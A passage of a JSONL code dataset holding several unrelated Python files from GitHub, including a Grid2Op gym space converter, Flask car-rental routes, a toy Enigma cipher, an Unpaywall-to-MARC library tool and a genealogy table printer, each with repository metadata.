from gymnasium if it's available and never from\n          from gym\n        - :class:`_BaseLegacyGymSpaceConverter` will inherit from gym if it's available and never from\n          from gymnasium\n        \n        See :ref:`gymnasium_gym` for more information\n        \n    \"\"\"\n\n    def __init__(self, dict_gym_space, dict_variables=None):\n        check_gym_version(type(self)._gymnasium)\n        type(self)._DictType.__init__(self, dict_gym_space)\n        self._keys_encoding = {}\n        if dict_variables is not None:\n            for k, v in dict_variables.items():\n                self._keys_encoding[k] = v\n        self.__func = {}\n\n    @classmethod\n    def _generic_gym_space(cls, dt, sh, low=None, high=None):\n        if dt == dt_int:\n            if low is None:\n                low = np.iinfo(dt).min\n            if high is None:\n                high = np.iinfo(dt).max\n        else:\n            low = -np.inf\n            high = +np.inf\n        shape = (sh,)\n        my_type = cls._BoxType(\n            low=dt.type(low), high=dt.type(high), shape=shape, dtype=dt\n        )\n        return my_type\n\n    @classmethod\n    def _boolean_type(cls, sh):\n        return cls._MultiBinaryType(n=sh)\n\n    @staticmethod\n    def _simplifykeys_for_timestamps(key):\n        \"\"\"some keys are encoded to be returned as scalar, i need to transform them.\"\"\"\n        res = (\n            (key == \"year\")\n            or (key == \"month\")\n            or (key == \"day\")\n            or (key == \"hour_of_day\")\n            or (key == \"minute_of_hour\")\n            or (key == \"day_of_week\")\n        )\n        res = (\n            res\n            or (key == \"is_alarm_illegal\")\n            or (key == \"was_alarm_used_after_game_over\")\n            or (key == \"is_alert_illegal\")\n            or (key == \"was_alert_used_after_attack\")\n        )\n        return res\n\n    @staticmethod\n    def _extract_obj_grid2op(vect, dtype, key):\n        if len(vect) == 1 and _BaseGymSpaceConverter._simplifykeys_for_timestamps(key):\n            res = vect[0]\n            # convert the types for json serializable\n            # this is not automatically done by gym...\n            if dtype == dt_int or dtype == np.int64 or dtype == np.int32:\n                res = int(res)\n            elif dtype == dt_float or dtype == np.float64 or dtype == np.float32:\n                res = float(res)\n            elif dtype == dt_bool:\n                res = bool(res)\n        else:\n            res = vect\n        return res\n\n    def _base_to_gym(self, keys, obj, dtypes, converter=None):\n        \"\"\"convert the obj (grid2op object) into a gym observation / action space\"\"\"\n        res = OrderedDict()\n        for k in keys:\n            if k in self.__func:\n                obj_json_cleaned = self.__func[k](obj)\n            else:\n                if converter is not None:\n                    # for converting the names between internal names and \"human readable names\"\n                    conv_k = converter[k]\n                else:\n                    conv_k = k\n\n                obj_raw = obj._get_array_from_attr_name(conv_k)\n                if conv_k in self._keys_encoding:\n                    if self._keys_encoding[conv_k] is None:\n                        # keys is deactivated\n                        continue\n                    elif isinstance(self._keys_encoding[conv_k], type(self)._SpaceType):\n                        obj_json_cleaned = getattr(obj, conv_k)\n                    else:\n                        # i need to process the \"function\" part in the keys\n                        obj_json_cleaned = self._keys_encoding[conv_k].g2op_to_gym(\n                            obj_raw\n                        )\n                else:\n                    obj_json_cleaned = self._extract_obj_grid2op(obj_raw, dtypes[k], k)\n            res[k] = obj_json_cleaned\n        return res\n\n    def add_key(self, key_name, function, return_type):\n        \"\"\"\n\n        Allows to add arbitrary function to the representation, as a gym environment of\n        the action space of the observation space.\n\n        TODO\n        **NB** this key is not used when converted back to grid2Op object, as of now we don't recommend to\n        use it for the action space !\n\n        See the example for more information.\n\n        Parameters\n        ----------\n        key_name:\n            The name you want to get\n\n        function:\n            A function that takes as input\n\n        return_type\n\n        Returns\n        -------\n\n\n        Examples\n        ---------\n        In the example below, we explain how to add the \"connectivity_matrix\" as part of the observation space\n        (when converted to gym). The new key \"connectivity matrix\" will be added to the gym observation.\n\n        .. code-block:: python\n\n\n            # create a grid2op environment\n            import grid2op\n            env_name = \"l2rpn_case14_sandbox\"\n            env_glop = grid2op.make(env_name)\n\n            # convert it to gym\n            import gym\n            import numpy as np\n            from grid2op.gym_compat import GymEnv\n            env_gym = GymEnv(env_glop)\n\n            # default gym environment, the connectivity matrix is not computed\n            obs_gym = env_gym.reset()\n            print(f\"Is the connectivity matrix part of the observation in gym: {'connectivity_matrix' in obs_gym}\")\n\n            # add the \"connectivity matrix\" as part of the observation in gym\n            from gym.spaces import Box\n            shape_ = (env_glop.dim_topo, env_glop.dim_topo)\n            env_gym.observation_space.add_key(\"connectivity_matrix\",\n                                              lambda obs: obs.connectivity_matrix(),\n                                              Box(shape=shape_,\n                                                  low=np.zeros(shape_),\n                                                  high=np.ones(shape_),\n                                                )\n                                              )\n\n            # we highly recommend to \"reset\" the environment after setting up the observation space\n\n            obs_gym = env_gym.reset()\n            print(f\"Is the connectivity matrix part of the observation in gym: {'connectivity_matrix' in obs_gym}\")\n        \"\"\"\n\n        self.spaces[key_name] = return_type\n        self.__func[key_name] = function\n\n    def get_dict_encoding(self):\n        \"\"\"\n        TODO examples and description\n\n        Returns\n        -------\n\n        \"\"\"\n        return copy.deepcopy(self._keys_encoding)\n\n    def reencode_space(self, key, func):\n        \"\"\"\n        TODO examples and description\n\n        Returns\n        -------\n\n        \"\"\"\n        raise NotImplementedError(\n            \"This should be implemented in the GymActionSpace and GymObservationSpace\"\n        )\n\n    def reenc(self, key, fun):\n        \"\"\"\n        shorthand for :func:`GymObservationSpace.reencode_space` or\n        :func:`GymActionSpace.reencode_space`\n        \"\"\"\n        return self.reencode_space(key, fun)\n\n    def keep_only_attr(self, attr_names):\n        \"\"\"\n        keep only a certain part of the observation\n        \"\"\"\n        if isinstance(attr_names, str):\n            attr_names = [attr_names]\n\n        dict_ = self.spaces.keys()\n        res = self\n        for k in dict_:\n            if k not in attr_names:\n                res = res.reencode_space(k, None)\n        return res\n\n    def ignore_attr(self, attr_names):\n        \"\"\"\n        ignore some attribute names from the space\n        \"\"\"\n        if isinstance(attr_names, str):\n            attr_names = [attr_names]\n        res = self\n        for k in self.spaces.keys():\n            if k in attr_names:\n                res = res.reencode_space(k, None)\n        return res\n\n    def seed(self, seed=None):\n        \"\"\"Seed the PRNG of this space.\n        see issue https://github.com/openai/gym/issues/2166\n        of openAI gym\n        \"\"\"\n        seeds = super(type(self)._DictType, self).seed(seed)\n        sub_seeds = seeds\n        max_ = np.iinfo(dt_int).max\n        for i, space_key in enumerate(sorted(self.spaces.keys())):\n            sub_seed = sample_seed(max_, self.np_random)\n            sub_seeds.append(self.spaces[space_key].seed(sub_seed))\n        return sub_seeds\n\n    def close(self):\n        pass\n\n\nif GYM_AVAILABLE:\n    from gym.spaces import (Discrete as LegGymDiscrete,\n                            Box as LegGymBox,\n                            Dict as LegGymDict,\n                            Space as LegGymSpace,\n                            MultiBinary as LegGymMultiBinary,\n                            Tuple as LegGymTuple)\n    _BaseLegacyGymSpaceConverter = type(\"_BaseLegacyGymSpaceConverter\",\n                                        (__AuxBaseGymSpaceConverter, LegGymDict, ),\n                                        {\"_DiscreteType\": LegGymDiscrete,\n                                         \"_BoxType\": LegGymBox,\n                                         \"_DictType\": LegGymDict,\n                                         \"_SpaceType\": LegGymSpace, \n                                         \"_MultiBinaryType\": LegGymMultiBinary, \n                                         \"_TupleType\": LegGymTuple,\n                                         \"_gymnasium\": False,\n                                         \"__module__\": __name__})\n    _BaseLegacyGymSpaceConverter.__doc__ = __AuxBaseGymSpaceConverter.__doc__\n    _BaseGymSpaceConverter = _BaseLegacyGymSpaceConverter\n    _BaseGymSpaceConverter.__doc__ = __AuxBaseGymSpaceConverter.__doc__\n        \n\nif GYMNASIUM_AVAILABLE:\n    from gymnasium.spaces import Discrete, Box, Dict, Space, MultiBinary, Tuple\n    _BaseGymnasiumSpaceConverter = type(\"_BaseGymnasiumSpaceConverter\",\n                                        (__AuxBaseGymSpaceConverter, Dict, ),\n                                        {\"_DiscreteType\": Discrete,\n                                         \"_BoxType\": Box,\n                                         \"_DictType\": Dict,\n                                         \"_SpaceType\": Space, \n                                         \"_MultiBinaryType\": MultiBinary, \n                                         \"_TupleType\": Tuple, \n                                         \"_gymnasium\": True,\n                                         \"__module__\": __name__})\n    _BaseGymnasiumSpaceConverter.__doc__ = __AuxBaseGymSpaceConverter.__doc__\n    _BaseGymSpaceConverter = _BaseGymnasiumSpaceConverter\n    _BaseGymSpaceConverter.__doc__ = __AuxBaseGymSpaceConverter.__doc__\n","repo_name":"rte-france/Grid2Op","sub_path":"grid2op/gym_compat/gym_space_converter.py","file_name":"gym_space_converter.py","file_ext":"py","file_size_in_byte":11692,"program_lang":"python","lang":"en","doc_type":"code","stars":240,"dataset":"github-code","pt":"16"}
+{"seq_id":"8580475924","text":"from datetime import datetime\nfrom flask_security import login_required, permissions_required\nfrom sqlalchemy import and_, func\nfrom app import app\nfrom src.extensions import db\nfrom flask import flash, redirect, render_template, request, url_for\nfrom src.orm import Carro\n\n\n@app.route(\"/carro\", methods=['GET', 'POST'])\n@login_required\n@permissions_required('ADMIN_CARRO_CRUD')\ndef carro():\n    if request.method == 'POST':\n        msg = None\n        try:\n            form_data = request.form.to_dict()\n            if form_data.get('id'):\n                db.session.merge(Carro(**form_data))\n                msg = (\"Carro editado com sucesso!\", 'primary')\n            else:\n                if 'id' in form_data:\n                    form_data.pop('id')\n                db.session.add(Carro(**form_data))\n                msg = (\"Carro cadastrado com sucesso!\", 'primary')\n            db.session.commit()\n        except:\n            msg = (\"Erro inesperado, tente novamente!\", 'danger')\n        flash(message=msg[0], category=msg[1])\n    return render_template(\"carro.html\", carros=filtrar_consulta())\n\n\n@app.route(\"/carro/del/<int:id_carro>\", methods=['GET'])\n@login_required\n@permissions_required('ADMIN_CARRO_CRUD')\ndef carro_delete(id_carro):\n    if (id_carro is not None and id_carro) and (isinstance(id_carro, int)):\n        carro_a_deletar = Carro.query.get(id_carro)\n        if carro_a_deletar is not None:\n            db.session.delete(carro_a_deletar)\n            db.session.commit()\n    return redirect(url_for('carro'))\n\n\ndef filtrar_consulta():\n    query_params = request.args.to_dict()\n    valores_igualdade = ('id', 'custo_diario', 'capacidade_pessoas',\n                         'quantidade_alugueis')\n    filters = []\n    for key, value in query_params.items():\n        if hasattr(Carro, key) and (value is not None and value):\n            if key in valores_igualdade:\n                filters.append(getattr(Carro, key) == value)\n            elif key == 'data_de_insercao':\n                date = datetime.strptime(value, '%Y-%m-%d').date()\n                filters.append(func.DATE(Carro.data_de_insercao) == date)\n            else:\n                filters.append(getattr(Carro, key).ilike(f'%{value}%'))\n    return Carro.query.filter(and_(*filters)).all()\n","repo_name":"gabriel-fonseca-repo/gyg-alugueis","sub_path":"src/routes/carro.py","file_name":"carro.py","file_ext":"py","file_size_in_byte":2271,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"29597537572","text":"'''\nThis module can create three classes Engima, Rotor and Plugboard\nIt is designed to emulate the encryption used during WW2 that \nlead to the creation of the first turing machine\nThe rotor and plugboard classes are components of the Engima class\nWhen run it will translate any message into an Enigma encoded message\n'''\nimport random\n\n#Global dict that is used as the core alphabet to letter conection for tranlsation in rotors\nALPHADIR = {'A': 1, 'B' : 2, 'C' : 3, 'D':4, 'E':5,\n'F':6,'G':7,'H':8,'I':9,'J':10,'K':11,\n'L':12,'M':13,'N':14,'O':15,'P':16,'Q':17,'R':18,'S':19,'T':20\n,'U':21,'V':22,'W':23,'X':24,'Y':25,'Z':26}\n\n#ADD LOGGING FUNCTIONS WITH ERROR CODES\n\nclass Rotor:\n\t'''\n\tCreates a rotor with the key matching to number pairs\n\tHas three variables key, notch, turnover\n\t'''\n\tdef __init__(self, key, notch, turnover):\n\t\tself.turnover = turnover\n\t\tself.notch = notch\n\t\tself.keys = {}\n\t\tfor k in key:\n\t\t\tself.keys[key.index(k)+1] = k\n\n\tdef __str__(self):\n\t\treturn f'Keys: {self.keys}, turnover {self.turnover}, notch {self.notch}'\n\n\tdef turn(self):\n\t\t'''\n\t\tMoves the rotor dict one 'turn' which moves all values forward one position and takes the tail\n\t\tsets it as the head\n\t\tTakes no parameter and does an inplace change of self.keys\n\t\t'''\n\t\ttemp = {}\n\t\tfor i, _v in self.keys.items():\n\t\t\ttemp[i] = self.keys.get(i+1)\n\t\tif temp[len(temp)] is None:\n\t\t\ttemp[len(temp)] = self.keys.get(1)\n\t\tself.keys = temp\n\n\tdef translate(self, letter):\n\t\t'''\n\t\tTranslates the given letter to a new letter based off of rotor configuration\n\t\tTakes one parameter letter : string returns a string\n\t\t'''\n\t\tglobal ALPHADIR\n\t\treturn self.keys.get(ALPHADIR.get(letter))\n\nclass Plugboard:\n\t'''\n\tA Plugboard object takes no parameter and has two attributes\n\tplugboard, an empty dict and aplhalist a list of the letters in the english alphabet\n\t'''\n\tdef __init__(self):\n\t\tself.plugboard = {}\n\t\tself.aplhalist = ['A', 'B', 'C', 'D', 'E','F','G','H','I','J','K','L','M','N',\n\t\t'O','P','Q','R','S','T','U','V','W','X','Y','Z']\n\n\tdef __str__(self):\n\t\treturn f'{self.plugboard}'\n\n\tdef get(self, char):\n\t\t'''\n\t\tGets the matching character from a plugboard\n\t\tTakes one parameter char which is the key to search\n\t\tReturns a char the value of key char\n\t\t'''\n\t\treturn self.plugboard.get(char)\n\n\tdef create_board(self, num = 10):\n\t\t'''\n\t\tCreates a randomized plug board for an enimga\n\t\tTakes one parameter num : int default is 10\n\t\t'''\n\t\tif num > 26:\n\t\t\tprint('Too many pair attempts only 26 letters in the alphabet')\n\t\t\treturn\n\t\tfor k in range(0,num+1):\n\t\t\tself.plugboard[random.choice(self.aplhalist)] = random.choice(self.aplhalist)\n\nclass Enigma:\n\t'''\n\tEnigma class is the whole encryption method and system\n\tTakes two parameters rotors : list[Rotors] , Plugboard : Dir\n\t'''\n\tdef __init__(self, rotors, plugboard):\n\t\tself.rotors = rotors\n\t\tself.plugboard = plugboard\n\n\tdef __str__(self):\n\t\treturn f'Plugboard: {self.plugboard}'\n\n\tdef reflector(self):\n\t\t'''\n\t\tReverses the order of the rotor objects in the Enigma\n\t\tNo paraemetrs, returns nothing. Inplace for self.rotors\n\t\t'''\n\t\tself.rotors = self.rotors[::-1]\n\n\tdef teslate(self, msg):\n\t\t'''\n\t\tPasses a msg through a set of rotors that the Enigma class has\n\t\tand is half of the encryption process\n\t\tTakes one Parameter msg :String returns a string\n\t\t'''\n\t\tglobal ALPHADIR\n\t\t#Stripping the msg of spaces and sending it to upper case for matches\n\t\tmsg = msg.upper()\n\t\tmsg = msg.replace(\" \", \"\")\n\t\t#Encrypt Message using plug board\n\t\tmsg_plug = ''\n\t\tfor char in msg:\n\t\t\tif self.plugboard.get(char) is not None:\n\t\t\t\tmsg_plug += self.plugboard.get(char)\n\t\t\telse:\n\t\t\t\tmsg_plug += char\n\t\t#For every character in the msg translate it per each rotor\n\t\tfor _r in self.rotors:\n\t\t\tout = ''\n\t\t\tfor char in msg_plug:\n\t\t\t\tif _r == self.rotors[0]:\n\t\t\t\t\t_r.turn()\n\t\t\t\tout += _r.translate(char)\n\t\t\tmsg_plug = out\n\t\treturn msg_plug\n\n\tdef encrypt(self, msg):\n\t\t'''\n\t\tCombines the compents of the encryption and fully encrypts the message\n\t\tTakes one parameter message : String and returns a string encrypted\n\t\t'''\n\t\tfirst_pass = self.teslate(msg)\n\t\t#reverses the rotors\n\t\tself.reflector()\n\t\treturn self.teslate(first_pass)\n\nr1 = Rotor('EKMFLGDQVZNTOWYHXUSPAIBRCJ', 'Q', 'Y')\nr2 = Rotor('AJDKSIRUXBLHWTMCQGZNPYFVOE', 'M', 'E')\nr3 = Rotor('BDFHJLCPRTXVZNYEIWGAKMUSQO', 'D', 'V')\nrs = [r1,r2,r3]\npb = Plugboard()\npb.create_board()\nprint(pb)\nE1 = Enigma(rs,pb)\nprint(E1.encrypt('Hello'))\n","repo_name":"mhmccoy2017/Games","sub_path":"enigma.py","file_name":"enigma.py","file_ext":"py","file_size_in_byte":4394,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"70245835850","text":"# Copyright (c) 2020 Abe Jellinek\r\n# All rights reserved.\r\n\r\n# Redistribution and use in source and binary forms, with or without\r\n# modification, are permitted provided that the following conditions are met:\r\n#     * Redistributions of source code must retain the above copyright\r\n#       notice, this list of conditions and the following disclaimer.\r\n#     * Redistributions in binary form must reproduce the above copyright\r\n#       notice, this list of conditions and the following disclaimer in the\r\n#       documentation and/or other materials provided with the distribution.\r\n#     * Neither the name of the author not the names of its contributors may\r\n#       be used to endorse or promote products derived from this software\r\n#       without specific prior written permission.\r\n\r\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\r\n# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\r\n# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\r\n# DISCLAIMED. IN NO EVENT SHALL ABE JELLINEK BE LIABLE FOR ANY\r\n# DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\r\n# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\r\n# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\r\n# ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\r\n# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\r\n# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\r\n\r\n\r\nimport os\r\nimport os.path\r\nimport sys\r\nimport requests\r\nimport regex as re\r\nimport errno\r\nimport gzip\r\nimport json\r\nimport argparse\r\nimport unicodedata\r\nimport shutil\r\nimport csv\r\n\r\nfrom tqdm import tqdm\r\nfrom datetime import datetime\r\nfrom pymarc import Record, Field\r\n\r\n\r\nURL_BASE = 'https://unpaywall-data-snapshots.s3-us-west-2.amazonaws.com/'\r\nFIELD_NAMES = ['Primary Author', 'Title', 'Year', 'Journal', 'PDF', 'DOI', 'Full JSON']\r\n\r\ntitle_splitter = re.compile(r'([:;\\\\/\\p{Pd},.])')\r\nfilters = []\r\n\r\n\r\ndef prompt(question, default=True):\r\n    choices = '[Y/n]' if default else '[y/N]'\r\n    default_choice = 'Y' if default else 'N'\r\n    user_entered = input(f'{question} {choices} ').strip().lower()\r\n\r\n    while user_entered and user_entered != 'y' and user_entered != 'n':\r\n        user_entered = input(' ' * max(len(question) - 3, 0) + \\\r\n            f' ?? {choices} (or press enter for {default_choice}) ').strip().lower()\r\n\r\n    if not user_entered:\r\n        return default\r\n    elif user_entered == 'y':\r\n        return True\r\n    else:\r\n        return False\r\n\r\ndef latest_dataset():\r\n    r = requests.get(URL_BASE)\r\n    manifest = r.text\r\n\r\n    match = re.search('(?s:.*)<Key>([^<]+)</Key><LastModified>([^<]+)</LastModified><ETag>[^<]+</ETag><Size>([0-9]+)</Size>', \\\r\n        manifest)\r\n\r\n    if not match:\r\n        return\r\n\r\n    path = URL_BASE + match.group(1)\r\n    last_modified = datetime.strptime(match.group(2), '%Y-%m-%dT%H:%M:%S.%fZ')\r\n    size = int(match.group(3))\r\n\r\n    return path, last_modified, size\r\n\r\ndef run_download(args):\r\n    local_data_path = args.path\r\n\r\n    path, last_modified, size = latest_dataset()\r\n    if path:\r\n        size_in_gb = size / 1073741824\r\n\r\n        print(f'Dataset found. Last update: {last_modified:%d %b %Y}.')\r\n\r\n        if prompt(f'Download this {size_in_gb:1.1f} GB dataset?', default=True):\r\n            if os.path.isfile(local_data_path) \\\r\n                and not prompt('Output file exists! Replace?', default=False):\r\n                sys.exit(0)\r\n\r\n            try:\r\n                os.makedirs(os.path.dirname(local_data_path))\r\n            except OSError as exc:\r\n                if exc.errno != errno.EEXIST:\r\n                    raise\r\n\r\n            with requests.get(path, stream=True) as response:\r\n                if response.ok:\r\n                    with open(local_data_path, 'wb') as handle:\r\n                        with tqdm(\r\n                            unit='B', unit_scale=True, unit_divisor=1024, miniters=1,\r\n                            total=size, smoothing=0\r\n                        ) as pbar:\r\n                            for chunk in response.iter_content(chunk_size=8192):\r\n                                handle.write(chunk)\r\n                                pbar.update(len(chunk))\r\n                    print('Done! Proceeding...')\r\n                else:\r\n                    print(f'ERROR: Download failed with status code {response.status_code}.', file=sys.stderr)\r\n                    sys.exit(1)\r\n        else:\r\n            sys.exit(0)\r\n    else:\r\n        print('ERROR: No dataset found online.', file=sys.stderr)\r\n        sys.exit(99)\r\n\r\ndef format_author(author, reverse=True):\r\n    if 'given' in author:\r\n        if reverse:\r\n            return f\"{author.get('family', '')}, {author.get('given')}\"\r\n        else:\r\n            return f\"{author['given']} {author.get('family', '')}\"\r\n    else:\r\n        return f\"{author.get('family', 'Unknown')}\"\r\n\r\ndef format_authors(authors):\r\n    if not authors:\r\n        return ''\r\n\r\n    first_author = format_author(authors[0], reverse=True)\r\n    rest = [format_author(author, reverse=False) for author in authors[1:]]\r\n\r\n    if len(rest) == 0:\r\n        return first_author\r\n    elif len(rest) == 1:\r\n        return f'{first_author} and {rest[0]}'\r\n    else:\r\n        return f\"{first_author}, {', '.join(rest[:-1])}, and {rest[-1]}\"\r\n\r\ndef to_csv(obj, json):\r\n    return {\r\n        'Primary Author': format_author(obj['z_authors'][0], reverse=True) \\\r\n            if obj['z_authors'] else 'Unknown',\r\n        'Title': obj['title'],\r\n        'Year': obj['year'],\r\n        'Journal': obj['journal_name'],\r\n        'PDF': obj['best_oa_location']['url'],\r\n        'DOI': obj['doi_url'],\r\n        'Full JSON': json\r\n    }\r\n\r\ndef to_marc(obj):\r\n    primary_author = format_author(obj['z_authors'][0], reverse=True) if obj['z_authors'] else None\r\n\r\n    split_title = [part.strip() for part in title_splitter.split(obj['title'])]\r\n\r\n    if len(split_title) > 2:\r\n        primary_title = f'{split_title[0]} {split_title[1]}'\r\n        remainder_of_title = f'{\" \".join(split_title[2:])} /'\r\n    else:\r\n        primary_title = f'{\" \".join(split_title)} /'\r\n        remainder_of_title = ''\r\n\r\n    record = Record()\r\n    record.leader.type_of_record = 'a'\r\n    record.leader.coding_scheme = 'a'\r\n    record.bibliographic_level = 'm'\r\n    record.cataloging_form = 'a'\r\n    # record.add_field(Field(\r\n    #     tag = '041',\r\n    #     indicators = ['#', '#'],\r\n    #     subfields = [\r\n    #         'a', 'Eng'\r\n    #     ]))\r\n\r\n    if primary_author:\r\n        record.add_field(Field(\r\n            tag = '100',\r\n            indicators = ['0', ' '],\r\n            subfields = [\r\n                'a', primary_author\r\n            ]))\r\n\r\n    if remainder_of_title:\r\n        record.add_field(Field(\r\n            tag = '245',\r\n            indicators = ['0', '0'],\r\n            subfields = [\r\n                'a', primary_title,\r\n                'b', remainder_of_title,\r\n                'c', format_authors(obj['z_authors'])\r\n            ]))\r\n    else:\r\n        record.add_field(Field(\r\n            tag = '245',\r\n            indicators = ['0', '0'],\r\n            subfields = [\r\n                'a', f\"{obj['title']} /\",\r\n                'c', format_authors(obj['z_authors'])\r\n            ]))\r\n\r\n    record.add_field(Field(\r\n            tag = '260',\r\n            indicators = [' ', ' '],\r\n            subfields = [\r\n                'b', obj['publisher'],\r\n                'c', str(obj['year'])\r\n            ]))\r\n\r\n    record.add_field(Field(\r\n            tag = '500',\r\n            indicators = [' ', ' '],\r\n            subfields = [\r\n                'a', f\"Article from {obj['journal_name']}.\",\r\n            ]))\r\n\r\n    record.add_field(Field(\r\n            tag = '856',\r\n            indicators = ['4', '0'],\r\n            subfields = [\r\n                'u', obj['best_oa_location']['url'],\r\n                'y', 'View article as PDF'\r\n            ]))\r\n\r\n    record.add_field(Field(\r\n            tag = '856',\r\n            indicators = [' ', ' '],\r\n            subfields = [\r\n                'u', obj['doi_url'],\r\n                'y', 'DOI'\r\n            ]))\r\n\r\n    # print(str(record))\r\n    return record.as_marc()\r\n\r\ndef strip_diacritics(s):\r\n   return ''.join(c for c in unicodedata.normalize('NFD', s)\r\n                  if unicodedata.category(c) != 'Mn')\r\n\r\ndef stream_to_csv(stream):\r\n    for line in stream:\r\n        obj = json.loads(line)\r\n\r\n        oa_location = obj['best_oa_location']\r\n\r\n        if oa_location is None or obj['title'] is None:\r\n            continue\r\n\r\n        title_normalized = strip_diacritics(obj['title']).lower()\r\n\r\n        if any(pattern.findall(title_normalized) for pattern in filters):\r\n            yield to_csv(obj, line)\r\n\r\ndef stream_to_marc(stream):\r\n    for row in stream:\r\n        obj = json.loads(row['Full JSON'])\r\n        yield to_marc(obj)\r\n\r\ndef run_filter(args):\r\n    for filename in args.pattern:\r\n        with open(filename, 'r') as file:\r\n            filters.append(re.compile(file.read().strip()))\r\n\r\n    if args.output_file and os.path.isfile(args.output_file):\r\n        if not prompt('Output file exists! Overwrite?', default=False):\r\n            sys.exit(1)\r\n\r\n    downloaded = os.path.isfile(args.dataset)\r\n\r\n    if not downloaded:\r\n        python_command = os.path.basename(sys.executable)\r\n        print('ERROR: No downloaded dataset found. Can be downloaded with:', file=sys.stderr)\r\n        print(f'    {python_command} {sys.argv[0]} dl', file=sys.stderr)\r\n        sys.exit(1)\r\n\r\n    with gzip.open(args.dataset, 'rt') as stream:\r\n        if not args.output_file or args.output_file == '-':\r\n            writer = csv.DictWriter(sys.stdout, fieldnames=FIELD_NAMES)\r\n            writer.writeheader()\r\n\r\n            for line in stream_to_csv(stream):\r\n                writer.writerow(line)\r\n        else:\r\n            with open(args.output_file, 'w', encoding='utf-8') as out:\r\n                writer = csv.DictWriter(out, fieldnames=FIELD_NAMES)\r\n                writer.writeheader()\r\n\r\n                # total here is just an estimate:\r\n                for line in stream_to_csv(tqdm(stream, unit=' articles', total=114164038, smoothing=0)):\r\n                    writer.writerow(line)\r\n\r\ndef run_marc(args):\r\n    with open(args.csv) as csv_file:\r\n        if not args.output_file or args.output_file == '-':\r\n            reader = csv.DictReader(csv_file, fieldnames=FIELD_NAMES)\r\n            next(reader) # read through header\r\n            for marc in stream_to_marc(reader):\r\n                sys.stdout.buffer.write(marc)\r\n        else:\r\n            with open(args.output_file, 'wb') as out:\r\n                reader = csv.DictReader(csv_file, fieldnames=FIELD_NAMES)\r\n                next(reader) # read through header\r\n                for marc in stream_to_marc(reader):\r\n                    out.write(marc)\r\n\r\ndef main():\r\n    parser = argparse.ArgumentParser(description='Filter Unpaywall data for library use.')\r\n    subparsers = parser.add_subparsers()\r\n\r\n    parser_dl = subparsers.add_parser('download', aliases=['dl'])\r\n    parser_dl.add_argument('-o', dest='path', default='data/unpaywall_snapshot.jsonl.gz',\r\n        help='store in the specified location [optional, default location recommended]')\r\n    parser_dl.set_defaults(func=run_download)\r\n\r\n    parser_filter = subparsers.add_parser('filter')\r\n    parser_filter.add_argument('-p', action='append', dest='pattern', default=['filters/jordan'],\r\n        help='specify path to a file containing paper title regex (repeat for OR)')\r\n    parser_filter.add_argument('-d', dest='dataset', default='data/unpaywall_snapshot.jsonl.gz',\r\n        help='specify path to the Unpaywall dataset in GZIP format')\r\n    parser_filter.add_argument('-o', dest='output_file',\r\n        help='output to specified CSV file [optional, default: stdout]')\r\n    parser_filter.set_defaults(func=run_filter)\r\n\r\n    parser_marc = subparsers.add_parser('marc')\r\n    parser_marc.add_argument('csv', help='input CSV file to process')\r\n    parser_marc.add_argument('-o', dest='output_file',\r\n        help='output to specified MARC file [optional, default: stdout]')\r\n    parser_marc.set_defaults(func=run_marc)\r\n\r\n    if len(sys.argv) < 2:\r\n        parser.print_usage()\r\n        sys.exit(1)\r\n\r\n    args = parser.parse_args()\r\n    args.func(args)\r\n\r\n\r\nif __name__ == '__main__':\r\n    main()\r\n","repo_name":"AbeJellinek/colophon","sub_path":"colophon.py","file_name":"colophon.py","file_ext":"py","file_size_in_byte":12444,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"73533235528","text":"from prettytable import PrettyTable\nfrom datetime import datetime\n\nSECONDS_IN_YEAR = 365.25 * 24 * 60 * 60\nDATE_FORMAT = \"%Y-%m-%d\"\n\n\ndef print_individuals(individuals, sort=True):\n    pt = PrettyTable()\n    pt.field_names = [\n        \"ID\",\n        \"Name\",\n        \"Gender\",\n        \"Birthday\",\n        \"Age\",\n        \"Alive\",\n        \"Death\",\n        \"Child\",\n        \"Spouse\",\n    ]\n\n    for i in individuals:\n        pt.add_row(\n            [\n                i.id,\n                i.name,\n                i.sex,\n                datetime.strftime(i.birth_date, DATE_FORMAT),\n                i.age(),\n                i.alive(),\n                datetime.strftime(i.death_date, DATE_FORMAT) if i.death_date else \"N/A\",\n                f\"{{'{i.family_child}'}}\" if i.family_child else \"N/A\",\n                f\"{{'{i.family_spouse}'}}\" if i.family_spouse else \"N/A\",\n            ]\n        )\n\n    if sort:\n        pt.sortby = \"ID\"\n\n    return pt.get_string()\n\n\ndef print_families(families, individuals, sort=True):\n    pt = PrettyTable()\n    pt.field_names = [\n        \"ID\",\n        \"Married\",\n        \"Divorced\",\n        \"Husband ID\",\n        \"Husband Name\",\n        \"Wife ID\",\n        \"Wife Name\",\n        \"Children\",\n    ]\n\n    for f in families:\n        husband = individuals[f.husband_id]\n        wife = individuals[f.wife_id]\n\n        children = \", \".join([f\"'{id}'\" for id in sorted(f.children_ids)])\n\n        pt.add_row(\n            [\n                f.id,\n                datetime.strftime(f.married_date, DATE_FORMAT),\n                f.divorced,\n                husband.id,\n                husband.name,\n                wife.id,\n                wife.name,\n                f\"{{{children}}}\",\n            ]\n        )\n\n    if sort:\n        pt.sortby = \"ID\"\n\n    return pt.get_string()\n\n\ndef timedelta_to_years(delta):\n    return int(delta.total_seconds() / 